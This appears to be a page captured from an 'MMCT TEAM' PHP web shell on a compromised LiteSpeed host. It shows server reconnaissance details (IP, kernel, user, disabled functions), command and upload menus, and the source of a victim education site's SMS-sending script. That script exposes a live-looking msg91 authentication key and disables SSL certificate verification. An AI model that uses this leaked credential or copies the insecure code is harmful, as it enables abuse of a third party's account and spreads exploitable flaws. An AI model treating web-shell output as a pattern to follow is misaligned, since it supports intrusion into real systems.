MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/celkcksm/cms.ncriptech.com/../websites/miereducation.e-campus.co.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/cms.ncriptech.com/../websites/miereducation.e-campus.co.in/sendmessage.php
<?php
    /*Send SMS using PHP*/    
    
	 function sendsms($con,$mobile,$message){
	     $length=strlen($message);
    	     if(empty($length)){
    	         $length=1;
    	     }
    	     $count=ceil($length/140);
    	     mysqli_query($con,"update sms set balance=balance-".(int)$count." where id=1");
    //Your authentication key
    $authKey = "197850AFrGnNLUa5a816402";
    
    //Multiple mobiles numbers separated by comma
    $mobileNumber = $mobile;
    
    //Sender ID,While using route4 sender id should be 6 characters long.
    $senderId = "BECEDU";
    
    //Your message to send, Add URL encoding here. 
    $message = urlencode($message);
    
    //Define route 
    $route = "Transactional";
    //Prepare you post parameters
    $postData = array(
        'authkey' => $authKey,
        'mobiles' => $mobileNumber,
        'message' => $message,
        'sender' => $senderId,
        'route' => $route
    );
    
    //API URL
    $url="https://control.msg91.com/api/sendhttp.php";
    
    // init the resource
    $ch = curl_init();
    curl_setopt_array($ch, array(
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $postData
        //,CURLOPT_FOLLOWLOCATION => true
    ));
    

    //Ignore SSL certificate verification
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

    
    //get response
    $output = curl_exec($ch);
    
    //Print error if any
    if(curl_errno($ch))
    {
        echo 'error:' . curl_error($ch);
		 // echo 0;
    }
    
    curl_close($ch);
    
   //echo $output;
   //echo 1;
   //return true;
	}
?>

MMCT - 2023